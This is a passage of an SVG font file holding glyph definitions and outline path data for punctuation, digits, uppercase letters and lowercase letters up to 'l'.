<glyph unicode="+" d="M176 721q0 49 8 90h340v373q23 4 44.5 6t45.5 2q23 0 45.5 -2t47.5 -6v-373h337q4 -23 6.5 -45.5t2.5 -44.5q0 -23 -2 -46.5t-7 -45.5h-337v-371q-25 -4 -47.5 -6t-45.5 -2q-51 0 -90 8v371h-340q-8 41 -8 92z" />
<glyph unicode="," horiz-adv-x="436" d="M41 -231l121 456q25 4 50.5 7.5t47.5 3.5q47 0 105 -11l-129 -456q-25 -4 -50.5 -5.5t-48.5 -1.5q-25 0 -49.5 1t-46.5 6z" />
<glyph unicode="-" horiz-adv-x="739" d="M96 573q0 23 2 48.5t6 46.5h531q4 -20 6 -46t2 -49t-2 -48t-6 -44h-531q-4 18 -6 44t-2 48z" />
<glyph unicode="." horiz-adv-x="493" d="M123 113q0 29 3 58.5t7 57.5q29 4 56.5 6.5t56.5 2.5t57.5 -2.5t56.5 -6.5q4 -29 7.5 -57.5t3.5 -56.5q0 -29 -3 -57.5t-8 -57.5q-29 -4 -56.5 -6t-55.5 -2q-29 0 -57.5 2t-57.5 6q-4 29 -7 56.5t-3 56.5z" />
<glyph unicode="/" horiz-adv-x="839" d="M72 0l497 1473q25 4 48.5 6t50.5 2q23 0 48 -2t52 -6l-500 -1473q-25 -4 -49 -6t-51 -2q-23 0 -47.5 2t-48.5 6z" />
<glyph unicode="0" d="M100 657q0 150 33 275t97.5 216t161.5 142t226 51t226.5 -51t162 -142t96.5 -216t32 -275q0 -147 -33 -273t-97.5 -216t-163 -141.5t-227.5 -51.5t-225 51.5t-160.5 141.5t-96.5 216t-32 273zM315 657q0 -254 80 -377.5t221 -123.5t219 123.5t78 377.5t-78 379t-219 125 t-221 -125t-80 -379z" />
<glyph unicode="1" d="M203 1071l545 260h30v-1157h293q6 -47 6 -86q0 -43 -6 -88h-801q-8 41 -8 88q0 45 8 86h308v881l-297 -135q-29 35 -45.5 69.5t-32.5 81.5z" />
<glyph unicode="2" d="M117 27l401 469q53 63 99.5 119.5t80 109.5t53 104.5t19.5 106.5q0 109 -69.5 166t-198.5 57q-98 0 -166 -22.5t-131 -51.5q-16 41 -31.5 84t-19.5 88q72 31 158.5 57.5t203.5 26.5q104 0 190.5 -23.5t149 -70.5t96 -119.5t33.5 -171.5q0 -137 -75.5 -266t-215.5 -287 l-196 -223h542q4 -23 6.5 -45t2.5 -47q0 -23 -2.5 -45.5t-6.5 -42.5h-911z" />
<glyph unicode="3" d="M98 -82q6 45 23.5 88t40.5 84q66 -27 137.5 -43t163.5 -16q78 0 146.5 16t118.5 53t80 95.5t30 142.5q0 127 -84 188.5t-219 61.5q-41 0 -83 -3t-83 -14l-17 29l342 539h-526q-8 41 -8 88q0 23 2 47t6 47h829l15 -25l-373 -567q6 2 14.5 2h16.5q96 0 166.5 -33.5 t116.5 -88t68.5 -121t22.5 -132.5q0 -131 -46 -226t-123.5 -157.5t-182 -92.5t-223.5 -30q-102 0 -192.5 16.5t-178.5 51.5z" />
<glyph unicode="4" d="M68 182l600 1176q43 -4 89 -21.5t89 -46.5l-477 -950h413v389q25 4 49.5 6t47.5 2q27 0 52 -2t50 -6v-389h188q4 -23 6.5 -45.5t2.5 -44.5q0 -23 -2 -46.5t-7 -43.5h-188v-281q-27 -4 -50.5 -5t-47.5 -1q-25 0 -50.5 1t-50.5 5v281h-698z" />
<glyph unicode="5" d="M129 -90q6 45 20.5 87t36.5 85q63 -23 125 -36t148 -13q178 0 275 74.5t97 232.5q0 57 -17 108.5t-56 89t-101.5 59t-152.5 21.5q-63 0 -125 -10t-109 -26l-20 18q6 180 13 359.5t16 361.5h696q4 -23 5 -44.5t1 -43.5q0 -25 -1 -48.5t-5 -45.5h-512l-12 -365 q39 8 78.5 10t62.5 2q102 0 186 -28.5t143.5 -85t92.5 -137.5t33 -185q0 -129 -45.5 -223t-124 -155.5t-186 -91.5t-232.5 -30q-78 0 -167 14.5t-163 45.5z" />
<glyph unicode="6" d="M135 567q0 180 46 340t141.5 285t243 204t349.5 95q16 -49 17 -94q0 -20 -2 -41t-6 -37q-129 -12 -228.5 -60.5t-171 -124t-115.5 -175t-63 -211.5q45 78 132 134t218 56q82 0 161 -27.5t140.5 -85t98.5 -146.5t37 -212q0 -121 -42 -213t-112 -153.5t-159 -93.5t-183 -32 q-117 0 -210 34t-157.5 105.5t-99.5 183t-35 269.5zM356 457q0 -154 73 -229.5t202 -75.5q61 0 113.5 20.5t91 59t61.5 96t23 133.5q0 82 -21.5 139t-58.5 94t-87.5 54.5t-107.5 17.5q-59 0 -112.5 -20.5t-92.5 -60.5t-61.5 -97.5t-22.5 -130.5z" />
<glyph unicode="7" d="M135 1225q0 25 2 49t6 47h973l8 -14l-622 -1459q-55 12 -101.5 32t-89.5 54l525 1205h-693q-4 20 -6 41.5t-2 44.5z" />
<glyph unicode="8" d="M109 377q0 86 27.5 150.5t71.5 113.5t97 83t107 56q-98 47 -167 130t-69 208q0 80 34 145.5t92 111.5t138 72t174 26t174 -26t138.5 -72t92.5 -111.5t34 -145.5q0 -127 -69 -209t-169 -129q53 -23 107.5 -55.5t98.5 -81.5t71.5 -114.5t27.5 -151.5q0 -109 -43 -185.5 t-114.5 -125t-162.5 -70t-186 -21.5q-96 0 -186 21.5t-161.5 70t-114.5 125t-43 185.5zM326 395q0 -115 73.5 -180t214.5 -65q143 0 216 65.5t73 179.5q0 57 -22.5 104.5t-61.5 84.5t-91.5 64.5t-113.5 45.5q-61 -18 -114.5 -45.5t-91 -64.5t-60 -84t-22.5 -105zM375 1104 q0 -51 19.5 -91t52 -69t76.5 -50.5t91 -35.5q49 14 92.5 35.5t76 50.5t52 69t19.5 91q0 92 -60.5 147.5t-179.5 55.5t-179 -55.5t-60 -147.5z" />
<glyph unicode="9" d="M109 844q0 121 42 213t111.5 154.5t158.5 94t183 31.5q117 0 210 -33.5t157.5 -105.5t99.5 -184.5t35 -268.5q0 -180 -46 -339.5t-141.5 -284.5t-243 -204t-349.5 -95q-16 39 -17 96q0 16 2 37.5t6 40.5q125 10 226.5 58t175.5 124t118 175.5t56 211.5q-43 -78 -130 -135 t-218 -57q-84 0 -162 27.5t-139.5 85t-98 146.5t-36.5 212zM322 850q0 -82 21.5 -139.5t58 -94t87 -53t107.5 -16.5q59 0 112.5 20.5t92.5 60.5t61.5 97t22.5 129q0 154 -73 230.5t-202 76.5q-123 0 -205.5 -78.5t-82.5 -232.5z" />
<glyph unicode=":" horiz-adv-x="493" d="M123 113q0 29 3 58.5t7 57.5q29 4 56.5 6.5t56.5 2.5t57.5 -2.5t56.5 -6.5q4 -29 7.5 -57.5t3.5 -56.5q0 -29 -3 -57.5t-8 -57.5q-29 -4 -56.5 -6t-55.5 -2q-29 0 -57.5 2t-57.5 6q-4 29 -7 56.5t-3 56.5zM123 938q0 29 3 58.5t7 57.5q29 4 56.5 6.5t56.5 2.5t57.5 -2.5 t56.5 -6.5q4 -29 7.5 -57.5t3.5 -56.5q0 -29 -3 -57.5t-8 -57.5q-29 -4 -56.5 -6t-55.5 -2q-29 0 -57.5 2t-57.5 6q-4 29 -7 56.5t-3 56.5z" />
<glyph unicode=";" horiz-adv-x="532" d="M59 -231l121 456q25 4 50.5 7.5t47.5 3.5q47 0 105 -11l-129 -456q-25 -4 -50.5 -5.5t-48.5 -1.5q-25 0 -49.5 1t-46.5 6zM160 938q0 29 3 58.5t7 57.5q29 4 56.5 6.5t56.5 2.5t57.5 -2.5t56.5 -6.5q4 -29 7.5 -57.5t3.5 -56.5q0 -29 -3 -57.5t-8 -57.5q-29 -4 -56.5 -6 t-55.5 -2q-29 0 -57.5 2t-57.5 6q-4 29 -7 56.5t-3 56.5z" />
<glyph unicode="&#x3c;" d="M182 709q0 55 13 104l852 346q10 -57 10 -94q0 -29 -2 -54.5t-6 -45.5l-672 -260l672 -250q4 -23 6 -47.5t2 -49.5q0 -31 -2 -57.5t-8 -50.5l-852 346q-12 51 -13 113z" />
<glyph unicode="=" d="M174 516q0 23 1 48.5t5 45.5h869q4 -20 6 -46t2 -48q0 -23 -2 -48.5t-6 -43.5h-869q-4 18 -5 43.5t-1 48.5zM174 907q0 23 1 48.5t5 45.5h869q4 -20 6 -46t2 -48q0 -23 -2 -48.5t-6 -43.5h-869q-4 18 -5 43.5t-1 48.5z" />
<glyph unicode="&#x3e;" d="M172 1051q0 33 3 59.5t7 48.5l854 -346q4 -27 8.5 -53.5t4.5 -59.5q0 -55 -13 -104l-854 -346q-4 29 -6 52.5t-2 41.5q0 29 2 54.5t6 45.5l670 261l-670 249q-6 23 -8 48.5t-2 48.5z" />
<glyph unicode="?" horiz-adv-x="999" d="M88 1417q49 16 91 27.5t82 17.5t81 9.5t88 3.5q242 0 366 -110t124 -290q0 -104 -42 -179t-98.5 -125t-116 -79.5t-96.5 -42.5v-211q-47 -8 -100 -8q-23 0 -47.5 2t-46.5 6v332q78 20 139 46t104 61.5t66 83t23 112.5q0 104 -78 163.5t-224 59.5q-92 0 -148 -13t-116 -36 q-18 39 -31.5 81t-19.5 89zM346 115q0 29 2 57.5t6 56.5q29 4 57.5 7.5t57.5 3.5t57.5 -3.5t57.5 -7.5q4 -29 6 -56.5t2 -55.5q0 -29 -2 -57.5t-6 -57.5q-27 -4 -55.5 -6t-57.5 -2t-61.5 2t-55.5 6q-4 29 -6 56.5t-2 56.5z" />
<glyph unicode="@" horiz-adv-x="2076" d="M115 438q0 184 64.5 371.5t199.5 340.5t343 249t495 96q156 0 292 -42t237 -128t159.5 -216t58.5 -304q0 -127 -38 -250t-110.5 -221t-175 -158.5t-231.5 -60.5q-143 0 -225 63q-59 -35 -133 -55.5t-162 -20.5q-143 0 -230.5 87t-87.5 239q0 139 47.5 257t127 203 t187 133t228.5 48q82 0 157 -12.5t146 -34.5l-147 -731q20 -16 50 -21.5t58 -5.5q86 0 151.5 50.5t112 129t70 174t23.5 187.5q0 260 -153.5 395t-432.5 135q-213 0 -379 -74.5t-279.5 -199.5t-173 -285t-59.5 -330q0 -160 46 -274.5t126 -187t188.5 -107.5t233.5 -35 q100 0 188.5 15.5t159.5 42.5q12 -29 24.5 -65t20.5 -79q-150 -70 -397 -69q-160 0 -302 45t-248.5 138t-168 234.5t-61.5 333.5zM774 467q0 -104 46 -153.5t138 -49.5q47 0 86 8.5t89 30.5l112 590q-27 6 -49 9t-47 3q-80 0 -148.5 -33.5t-119 -93t-79 -139.5t-28.5 -172z " />
<glyph unicode="A" horiz-adv-x="1263" d="M33 0l479 1473q27 4 57.5 6t63.5 2q29 0 59.5 -2t59.5 -6l477 -1473q-25 -4 -55.5 -6t-59.5 -2q-27 0 -54.5 2t-51.5 6l-103 340h-559l-100 -340q-27 -4 -53.5 -6t-53.5 -2q-29 0 -56.5 2t-49.5 6zM401 522h449l-225 752z" />
<glyph unicode="B" horiz-adv-x="1218" d="M182 0v1473q51 10 143.5 16t186.5 6q117 0 213 -20.5t164.5 -66.5t106.5 -118.5t38 -177.5q0 -63 -19.5 -117.5t-52 -96.5t-75.5 -69.5t-88 -40.5q57 -6 115.5 -30.5t105.5 -69.5t76.5 -113.5t29.5 -166.5q0 -119 -47 -202t-128 -134.5t-190.5 -74t-234.5 -22.5 q-78 0 -170 7.5t-174 17.5zM389 162q29 -4 73 -6t87 -2q74 0 138.5 12t113.5 42t77.5 80t28.5 128q0 76 -26.5 128t-72.5 83.5t-109.5 45t-137.5 13.5h-172v-524zM389 858h150q139 0 212.5 60.5t73.5 181.5q0 117 -78.5 174t-214.5 57q-41 0 -78.5 -2t-64.5 -6v-465z" />
<glyph unicode="C" horiz-adv-x="1265" d="M121 727q0 176 47 318.5t135 243t215 154.5t285 54q117 0 200.5 -16.5t149.5 -38.5q-4 -47 -17.5 -87t-31.5 -85q-31 10 -59.5 18t-61.5 14.5t-73 9.5t-91 3q-223 0 -347 -151.5t-124 -436.5q0 -145 35 -251.5t98.5 -176.5t152.5 -104.5t200 -34.5q86 0 155.5 14 t130.5 41q45 -88 58 -170q-86 -37 -176.5 -53.5t-194.5 -16.5q-160 0 -288 52.5t-216 149.5t-135 236.5t-47 313.5z" />
<glyph unicode="D" horiz-adv-x="1431" d="M182 0v1473q70 8 168.5 15t192.5 7q387 0 578.5 -196.5t191.5 -565.5q0 -385 -195.5 -571.5t-582.5 -186.5q-96 0 -190.5 7.5t-162.5 17.5zM391 172q29 -4 71 -7t89 -3q121 0 220 27.5t171 93t111 177t39 279.5q0 154 -39 262.5t-110 177t-169 99.5t-217 31q-39 0 -85 -1 t-81 -8v-1128z" />
<glyph unicode="E" horiz-adv-x="1097" d="M180 0v1473h809q6 -41 6 -91q0 -23 -1 -47t-5 -45h-600v-422h479q4 -20 6.5 -43.5t2.5 -46.5t-2.5 -47t-6.5 -45h-479v-504h617q6 -41 6 -90q0 -23 -1 -47.5t-5 -44.5h-826z" />
<glyph unicode="F" horiz-adv-x="1032" d="M180 0v1473h770q4 -20 6 -44t2 -47t-2 -47t-6 -45h-561v-432h469q4 -23 6 -46.5t2 -45.5q0 -23 -2 -46.5t-6 -45.5h-469v-674q-25 -4 -50.5 -6t-53.5 -2q-27 0 -54.5 2t-50.5 6z" />
<glyph unicode="G" horiz-adv-x="1394" d="M121 727q0 176 49 318.5t140 243t217 154.5t280 54q117 0 203 -15.5t155 -41.5q-4 -47 -17 -87t-32 -85q-57 18 -123.5 32.5t-167.5 14.5q-109 0 -197.5 -39t-151 -114t-97.5 -184.5t-35 -250.5q0 -145 36 -250.5t101.5 -176.5t154.5 -104.5t198 -33.5q66 0 114.5 7 t83.5 17v576q25 4 51.5 6t53.5 2t53.5 -2t48.5 -6v-719q-43 -18 -94 -31.5t-106.5 -20.5t-111 -11.5t-104.5 -4.5q-164 0 -295 51.5t-221 148.5t-138 236.5t-48 315.5z" />
<glyph unicode="H" horiz-adv-x="1404" d="M180 0v1473q25 4 51.5 6t53.5 2t53.5 -2t50.5 -6v-607h627v607q23 4 49.5 6t52.5 2q27 0 54.5 -2t52.5 -6v-1473q-23 -4 -49.5 -6t-55.5 -2q-27 0 -54.5 2t-49.5 6v682h-627v-682q-25 -4 -50.5 -6t-53.5 -2q-27 0 -54.5 2t-50.5 6z" />
<glyph unicode="I" horiz-adv-x="569" d="M180 0v1473q25 4 51.5 6t53.5 2t53.5 -2t50.5 -6v-1473q-25 -4 -50.5 -6t-53.5 -2q-27 0 -54.5 2t-50.5 6z" />
<glyph unicode="J" horiz-adv-x="811" d="M57 0q0 41 8.5 86t24.5 92q25 -6 56.5 -13t66.5 -7q37 0 75 6t70.5 26.5t53 61.5t20.5 110v928h-258q-4 20 -6 45t-2 47q0 23 2 46.5t6 44.5h467v-1063q0 -123 -26.5 -207t-78 -134.5t-125 -72t-165.5 -21.5q-49 0 -98.5 7.5t-90.5 17.5z" />
<glyph unicode="K" horiz-adv-x="1230" d="M180 0v1473q25 4 51.5 6t53.5 2t53.5 -2t50.5 -6v-1473q-25 -4 -51.5 -6t-52.5 -2q-29 0 -55.5 2t-49.5 6zM451 748l473 725q29 4 56.5 6t49.5 2q27 0 57.5 -2t63.5 -6l-467 -707l526 -766q-33 -4 -64.5 -6t-60.5 -2q-25 0 -53 2t-59 6z" />
<glyph unicode="L" horiz-adv-x="1013" d="M180 0v1473q23 4 48.5 6t54.5 2q27 0 53 -2t51 -6v-1289h578q4 -23 5 -47t1 -45q0 -49 -6 -92h-785z" />
<glyph unicode="M" horiz-adv-x="1671" d="M156 0l65 1473q25 4 56.5 6t60.5 2t62.5 -2t56.5 -6l381 -922l383 922q20 4 51 6t59 2q27 0 59.5 -2t55.5 -6l70 -1473q-25 -4 -50.5 -6t-52.5 -2t-52.5 2t-47.5 6l-47 1145l-361 -840q-41 -6 -84 -6q-39 0 -78 6l-348 846l-47 -1151q-23 -4 -47.5 -6t-46.5 -2 q-27 0 -51.5 2t-46.5 6z" />
<glyph unicode="N" horiz-adv-x="1392" d="M180 0v1473q23 4 48.5 6t47.5 2q23 0 48.5 -2t48.5 -6l641 -1106v1106q25 4 51.5 6t52.5 2q23 0 47.5 -2t46.5 -6v-1473q-23 -4 -48 -6t-48 -2t-48.5 2t-47.5 6l-643 1100v-1100q-23 -4 -48.5 -6t-49.5 -2q-27 0 -52.5 2t-46.5 6z" />
<glyph unicode="O" horiz-adv-x="1492" d="M125 735q0 166 38 305.5t114.5 240.5t193.5 158.5t277 57.5t276.5 -57.5t193 -158.5t113.5 -240.5t37 -305.5t-37 -305t-113.5 -240.5t-193 -158t-276.5 -56.5t-277 56.5t-193.5 158t-114.5 240.5t-38 305zM348 735q0 -135 24.5 -241.5t74 -182t124.5 -115.5t177 -40 t176.5 40t124 115.5t74 182t24.5 241.5q0 133 -24.5 240.5t-74 182.5t-124 115t-176.5 40t-177 -40t-124.5 -115t-74 -182.5t-24.5 -240.5z" />
<glyph unicode="P" horiz-adv-x="1159" d="M180 0v1475q31 4 73 8t88 7t92 5t89 2q113 0 214.5 -22.5t178 -78t121.5 -146.5t45 -228q0 -143 -48 -238.5t-127 -153t-179 -81t-205 -23.5q-39 0 -68.5 1t-64.5 5v-532q-49 -6 -104 -6q-25 0 -52.5 1t-52.5 5zM389 715q33 -4 57.5 -6t71.5 -2q63 0 126 13t112 48 t78.5 95.5t29.5 156.5q0 84 -25.5 141.5t-70.5 92t-108.5 49t-137.5 14.5q-76 0 -133 -6v-596z" />
<glyph unicode="Q" horiz-adv-x="1482" d="M119 735q0 166 38 305.5t114.5 240.5t193.5 158.5t276 57.5q160 0 277 -57.5t193.5 -158.5t113.5 -240.5t37 -305.5t-37 -305t-113.5 -240.5t-193.5 -158t-277 -56.5t-276.5 56.5t-193 158t-114.5 240.5t-38 305zM342 735q0 -135 24.5 -241.5t73.5 -182t124 -115.5 t177 -40t177 40t124.5 115.5t74 182t24.5 241.5q0 133 -24.5 240.5t-74 182.5t-124 115t-177.5 40q-102 0 -177 -40t-124 -115t-73.5 -182.5t-24.5 -240.5zM877 -227q4 57 12 94t24 82l469 -82q-2 -47 -9 -93t-25 -89z" />
<glyph unicode="R" horiz-adv-x="1222" d="M184 0v1475q45 4 82 8t73 7t75 5t86 2q104 0 206.5 -20.5t182.5 -71.5t130 -138t50 -220q0 -80 -26.5 -145.5t-67.5 -117t-93.5 -89.5t-101.5 -62l-24 -12l428 -621q-55 -6 -125 -6q-55 0 -111 6l-471 682v8l17 4q55 14 116.5 39t113.5 65t87 96t35 136q0 147 -87 219 t-235 72q-35 0 -64.5 -2t-66.5 -6v-1313q-23 -2 -50.5 -4t-51.5 -2q-25 0 -53.5 1t-53.5 5z" />
<glyph unicode="S" horiz-adv-x="1116" d="M94 39q4 45 18.5 92t30.5 92q68 -25 141.5 -43t180.5 -18q168 0 251 68.5t83 185.5q0 57 -17.5 98t-52.5 70.5t-87 54.5t-122 53l-117 47q-59 25 -108 54.5t-85 72.5t-56.5 99.5t-20.5 134.5q0 186 127 291.5t356 105.5q98 0 186.5 -16.5t155.5 -40.5q-10 -86 -45 -170 q-55 20 -127.5 36.5t-164.5 16.5q-129 0 -199 -52t-70 -157q0 -43 17.5 -76.5t46 -59.5t67.5 -46.5t82 -36.5l115 -45q82 -33 145.5 -69t108.5 -84t68.5 -113.5t23.5 -153.5q0 -211 -145.5 -333t-407.5 -122q-63 0 -114.5 4.5t-95.5 12.5t-85 20.5t-84 26.5z" />
<glyph unicode="T" horiz-adv-x="1077" d="M43 1382q0 23 2 46.5t6 44.5h975q4 -20 6 -43t2 -46t-2 -48t-6 -46h-383v-1290q-47 -6 -102 -6q-57 0 -107 6v1290h-383q-4 20 -6 45t-2 47z" />
<glyph unicode="U" horiz-adv-x="1380" d="M166 600v873q49 6 106 6q55 0 103 -6v-836q0 -127 16.5 -217t53 -146.5t97 -83t148.5 -26.5t147.5 26.5t96.5 83t53.5 146.5t16.5 217v836q51 6 104 6q57 0 106 -6v-873q0 -147 -27.5 -264t-90 -197t-162.5 -122t-244 -42q-143 0 -243.5 42t-163 122t-90 197t-27.5 264z " />
<glyph unicode="V" horiz-adv-x="1288" d="M45 1473q23 4 54.5 6t60.5 2q27 0 58.5 -2t57.5 -6l373 -1260l371 1260q55 6 113 6q27 0 56.5 -1t53.5 -5l-479 -1473q-27 -4 -59.5 -6t-61.5 -2t-60.5 2t-60.5 6z" />
<glyph unicode="W" horiz-adv-x="1886" d="M55 1473q23 4 56.5 6t62.5 2t58.5 -2t54.5 -6l252 -1227l303 1227q25 4 54.5 6t55.5 2q25 0 55.5 -2t53.5 -6l305 -1240l256 1240q23 4 48.5 6t49.5 2q29 0 58.5 -2t52.5 -6l-354 -1473q-25 -4 -58 -6t-59 -2q-29 0 -63.5 2t-63.5 6l-291 1153l-295 -1153 q-29 -4 -62.5 -6t-62.5 -2q-25 0 -56.5 2t-55.5 6z" />
<glyph unicode="X" horiz-adv-x="1247" d="M43 0l365 770l-308 700q31 4 57.5 5.5t55.5 1.5q55 0 109 -7l292 -700l-350 -770q-59 -6 -108 -6q-51 0 -113 6zM631 770l293 700q23 2 43 4.5t43 2.5h55q23 0 39 -1t39 -6l-307 -694l366 -776q-61 -6 -112 -6q-45 0 -109 6z" />
<glyph unicode="Y" horiz-adv-x="1212" d="M37 1473q27 4 57.5 6t61.5 2q27 0 58.5 -2t55.5 -6l344 -732l340 732q27 4 53.5 6t55.5 2t57.5 -2t55.5 -6l-461 -934v-539q-27 -4 -53.5 -6t-53.5 -2t-54.5 2t-49.5 6v539z" />
<glyph unicode="Z" horiz-adv-x="1159" d="M49 18l742 1272h-650q-4 18 -6 43t-2 47q0 23 2 47.5t6 45.5h957l14 -19l-743 -1272h690q4 -18 6 -43.5t2 -48.5t-2 -47.5t-6 -42.5h-998z" />
<glyph unicode="[" horiz-adv-x="653" d="M102 -344v1900h441q4 -23 6 -42t2 -41q0 -23 -2 -43.5t-6 -38.5h-240v-1569h240q4 -20 6 -40t2 -42q0 -23 -2 -43.5t-6 -40.5h-441z" />
<glyph unicode="\" horiz-adv-x="843" d="M66 1473q23 4 49 6t51 2t51.5 -2t48.5 -6l498 -1473q-25 -4 -49.5 -6t-46.5 -2q-27 0 -52.5 2t-50.5 6z" />
<glyph unicode="]" horiz-adv-x="653" d="M102 -260q0 47 9 82h239v1567h-239q-4 16 -6.5 32.5t-2.5 32.5q0 55 9 102h440v-1900h-440q-8 39 -9 84z" />
<glyph unicode="^" horiz-adv-x="1126" d="M125 754l332 719q25 4 52.5 6t49.5 2q27 0 54.5 -2t56.5 -6l327 -719q-29 -4 -52 -5t-46 -1h-46.5t-45.5 4l-250 548l-240 -548q-23 -4 -47 -4h-47q-20 0 -44.5 1t-53.5 5z" />
<glyph unicode="_" horiz-adv-x="1034" d="M2 -102q0 16 2 34.5t8 36.5h1012q8 -35 8 -75q0 -39 -8 -74h-1012q-6 20 -8 38.5t-2 39.5z" />
<glyph unicode="`" horiz-adv-x="1024" d="M264 1477q31 4 61.5 6t67.5 2q33 0 67 -2t64 -6l236 -260q-47 -8 -96 -9q-31 0 -58.5 2t-50.5 7z" />
<glyph unicode="a" horiz-adv-x="1058" d="M98 311q0 88 36 154.5t97.5 111t141.5 66t168 21.5q66 0 107.5 -3.5t70.5 -7.5v39q0 121 -61.5 168t-178.5 47q-72 0 -134 -11t-122 -30q-39 68 -39 162q70 23 154 35t162 12q205 0 311.5 -93t106.5 -298v-657q-72 -16 -174.5 -34t-208.5 -18q-100 0 -181.5 18.5 t-137.5 59.5t-87 104.5t-31 153.5zM301 315q0 -61 22.5 -96t56.5 -53.5t75 -22.5t77 -4q47 0 97.5 5.5t89.5 15.5v334q-31 4 -78 8t-80 4q-127 0 -193.5 -47t-66.5 -144z" />
<glyph unicode="b" horiz-adv-x="1208" d="M162 33v1468q23 4 50.5 6t49.5 2q23 0 51.5 -2t51.5 -6v-577q37 61 114.5 106t188.5 45q94 0 174 -30.5t137 -95t89 -164t32 -234.5q0 -270 -152.5 -423t-439.5 -153q-90 0 -185.5 17.5t-160.5 40.5zM365 170q37 -12 78.5 -17.5t86.5 -5.5q76 0 140.5 24t111.5 72 t75 122.5t28 177.5q0 170 -59.5 264t-196.5 94q-47 0 -93.5 -15.5t-85 -49t-62 -90t-23.5 -136.5v-440z" />
<glyph unicode="c" horiz-adv-x="978" d="M102 524q0 117 33 217.5t97.5 174t160.5 116.5t223 43q86 0 152 -10t125 -33q0 -35 -9.5 -81t-25.5 -81q-100 35 -229 35q-158 0 -236 -104.5t-78 -276.5q0 -197 88.5 -288t241.5 -91q61 0 113.5 8.5t105.5 28.5q16 -29 28.5 -71.5t14.5 -87.5q-121 -47 -276 -48 q-262 0 -395.5 148.5t-133.5 400.5z" />
<glyph unicode="d" horiz-adv-x="1200" d="M106 506q0 127 38 231.5t108 179t167 115.5t216 41q53 0 107.5 -8t95.5 -21v457q23 4 51.5 6t48.5 2q23 0 50.5 -2t49.5 -6v-1472q-78 -23 -174 -38.5t-215 -15.5q-111 0 -210 28t-172.5 91.5t-117 163.5t-43.5 248zM322 506q2 -195 92 -279t245 -84q53 0 98.5 5.5 t80.5 15.5v708q-41 16 -88.5 24.5t-102.5 8.5q-84 0 -145.5 -30.5t-101.5 -84t-59 -126t-19 -158.5z" />
<glyph unicode="e" horiz-adv-x="1138" d="M100 518q0 117 30 218.5t91.5 176t154.5 118.5t220 44q109 0 190.5 -37t137 -101.5t84 -153.5t28.5 -193q0 -29 -2 -60.5t-4 -54.5h-715q4 -172 89 -252t251 -80q145 0 277 52q16 -31 26.5 -75t12.5 -87q-68 -29 -149 -43.5t-179 -14.5q-143 0 -245.5 40t-169 113 t-97.5 172t-31 218zM317 627h519q0 57 -15.5 109t-45.5 91t-76 62.5t-109 23.5q-125 0 -191.5 -75.5t-81.5 -210.5z" />
<glyph unicode="f" horiz-adv-x="757" d="M55 971q0 45 8 80h173v73q0 195 97 296.5t283 101.5q51 0 90 -5.5t74 -15.5q-4 -51 -11 -88t-19 -76q-20 4 -48 9.5t-67 5.5q-45 0 -81 -9.5t-61.5 -35t-40 -71.5t-14.5 -118v-67h269q6 -41 6 -84q0 -39 -6 -76h-269v-891q-23 -4 -50.5 -6t-49.5 -2q-23 0 -51.5 2 t-50.5 6v891h-173q-8 33 -8 80z" />
<glyph unicode="g" horiz-adv-x="1132" d="M76 -238q0 84 45 151t117 105q-41 27 -69 67t-28 99q0 76 34 131.5t91 98.5q-68 47 -108.5 121.5t-40.5 169.5q0 78 28.5 145.5t83 117.5t134 78.5t182.5 28.5q92 0 166.5 -26.5t128.5 -67.5q41 33 110.5 54.5t153.5 21.5q8 -39 8 -86q0 -23 -2 -47.5t-6 -49.5h-184 q23 -35 35 -75.5t12 -93.5q0 -84 -31 -152t-87 -116t-134 -73.5t-170 -25.5q-84 0 -152 18q-29 -16 -56.5 -50t-27.5 -73q0 -37 26.5 -64.5t119.5 -29.5l272 -4q182 -4 264 -77.5t82 -202.5q0 -84 -43 -150.5t-118.5 -115t-179 -74t-224.5 -25.5q-211 0 -321.5 65.5 t-110.5 206.5zM266 -199q0 -45 18.5 -73.5t52.5 -46t80 -24.5t101 -7q164 0 256 54t92 136q0 61 -39 94t-143 35l-233 4h-7q-87 0 -132 -49q-46 -51 -46 -123zM330 705q0 -96 52 -158t163 -62t164 61.5t53 158.5q0 98 -53.5 160.5t-163.5 62.5q-111 0 -163 -62.5t-52 -160.5 z" />
<glyph unicode="h" horiz-adv-x="1183" d="M162 0v1501q23 4 50.5 6t49.5 2q23 0 51.5 -2t51.5 -6v-610q18 29 45.5 61.5t67.5 60t92.5 45t115.5 17.5q180 0 267 -103.5t87 -305.5v-666q-23 -4 -50 -6t-50 -2t-50.5 2t-49.5 6v610q0 145 -48.5 214t-146.5 69q-55 0 -106.5 -19.5t-90 -61.5t-61 -109.5t-22.5 -163.5 v-539q-23 -4 -51.5 -6t-51.5 -2q-20 0 -49 2t-51 6z" />
<glyph unicode="i" horiz-adv-x="589" d="M84 971q0 20 2 41.5t6 38.5h332v-1051q-23 -4 -50.5 -6t-49.5 -2q-20 0 -48 2t-51 6v891h-133q-4 16 -6 37.5t-2 42.5zM174 1386q0 23 1 51.5t5 51.5q27 4 57.5 6t53.5 2t53.5 -2t54.5 -6q4 -23 5.5 -51.5t1.5 -51.5t-1.5 -51t-5.5 -53q-25 -4 -54.5 -6t-51.5 -2 q-25 0 -55.5 2t-57.5 6q-4 25 -5 53.5t-1 50.5z" />
<glyph unicode="j" horiz-adv-x="593" d="M-82 -356q2 39 10.5 79.5t22.5 73.5q49 -16 115 -16q27 0 55.5 4t53 21.5t40.5 52.5t16 96v936h-133q-4 16 -6 37.5t-2 42.5q0 20 2 41.5t6 38.5h332v-1110q0 -92 -24.5 -153.5t-68.5 -99.5t-103.5 -54.5t-129.5 -16.5q-111 0 -186 27zM174 1386q0 23 2 48.5t6 52.5 q27 4 57.5 7t53.5 3t52.5 -3t53.5 -7q4 -27 6.5 -52.5t2.5 -48.5t-2.5 -48t-6.5 -54q-25 -4 -54.5 -7t-51.5 -3q-23 0 -53.5 3t-57.5 7q-4 29 -6 54.5t-2 47.5z" />
<glyph unicode="k" horiz-adv-x="1052" d="M156 0v1501q23 4 50 6t50 2t51.5 -2t50.5 -6v-1501q-23 -4 -51 -6t-51 -2t-50.5 2t-49.5 6zM414 545l334 506q27 4 53 6t55 2q31 0 58.5 -2t56.5 -6l-334 -492l391 -559q-29 -4 -55.5 -6t-54.5 -2q-29 0 -58 2t-57 6z" />
<glyph unicode="l" horiz-adv-x="610" d="M160 272v1229q23 4 50.5 6t49.5 2q23 0 50.5 -2t49.5 -6v-1184q0 -57 10.5 -89.5t28 -50t41 -22.5t49.5 -5q18 0 42 2t40 6q18 -72 19 -156q-29 -10 -70 -13t-76 -3q-59 0 -110 14t-90 47t-61.5 88t-22.5 137z" />
